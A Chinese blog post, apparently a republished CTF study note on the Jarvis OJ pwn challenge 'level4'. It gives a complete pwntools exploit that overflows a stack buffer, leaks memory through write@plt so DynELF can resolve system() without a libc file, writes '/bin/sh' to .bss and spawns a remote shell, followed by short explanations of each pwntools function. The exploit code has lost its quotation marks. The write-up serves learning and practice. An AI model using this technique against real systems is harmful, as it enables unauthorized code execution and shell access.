首页 > 编程语言 > 详细

Jarvis Oj Pwn 学习笔记-level4

时间:2018-05-31 20:10:17      阅读:425      评论:0      收藏:0      [点我收藏+]

没有libc?!DynELF了解一下

来,链接:

https://files.cnblogs.com/files/Magpie/level4.rar

nc pwn2.jarvisoj.com 9880

我抽着差不多的烟,又check差不多的sec:

技术分享图片

 扔进IDA:

技术分享图片

技术分享图片

和level3差不多,只是这道题没有提供libc

这道题其实主要就是学一下pwntools的一个工具,没有什么原理上的新东西

所以我们直接给出exp,然后讲一下exp就好了:

 1 from pwn import *
 2 context(arch = i386, os = linux)
 3 r = remote(pwn2.jarvisoj.com, 9880)
 4 e=ELF(./level4)
 5 junk=A*(0x88+0x04)
 6 read_plt=e.symbols[read]
 7 write_plt=e.symbols[write]
 8 data_bss_addr=e.symbols[__bss_start]
 9 func_reload_addr=e.symbols[vulnerable_function]
10 def leak(address):
11     payload1=junk+p32(write_plt)+p32(func_reload_addr)+p32(0x01)+p32(address)+p32(0x04)
12     r.sendline(payload1)
13     leak_addr=r.recv(4)
14     return leak_addr
15 d=DynELF(leak,elf=e)
16 system_addr=d.lookup(system,libc)
17 payload2=junk+p32(read_plt)+p32(func_reload_addr)+p32(0x00)+p32(data_bss_addr)+p32(0x08)
18 r.sendline(payload2)
19 r.send(/bin/sh\x00)
20 payload3=junk+p32(system_addr)+p32(func_reload_addr)+p32(data_bss_addr)
21 r.send(payload3)
22 r.interactive()

1.ELF函数:创建并返回一个elf文件的内存映射对象

2.symbols函数:可以看作elf对象的一个方法,按关键字搜索地址

3.DynELF函数:核心函数,第一个参数是一个函数指针,指向一个规范内存泄露函数leak;第二个参数(可选)是一个elf对象,有了它可以使效率更高

DynELF函数具析:

通过配合调用leak分析其泄露值以及分析传入的elf对象,可以自动地resolve出所有的函数、数据地址,存储在一个vector向量数组中并返回这个向量数组

4.lookup函数:可看作向量数组对象的一个方法,按传入的索引项,搜索相应项值,得到服务器端的真实system地址

#payload2:劫持到read函数,将命令字符串‘/bin/sh‘写到bss段以作参数调用的地址

通过这段exp就可以拿到shell了,遗留一个问题:lookup找不到/bin/sh的地址,不知具体是个什么原因。可能上面的说法有一个错误:DynELF函数可能并无法泄露数据的地址。

留待日后填......

Jarvis Oj Pwn 学习笔记-level4

原文:https://www.cnblogs.com/Magpie/p/9118366.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!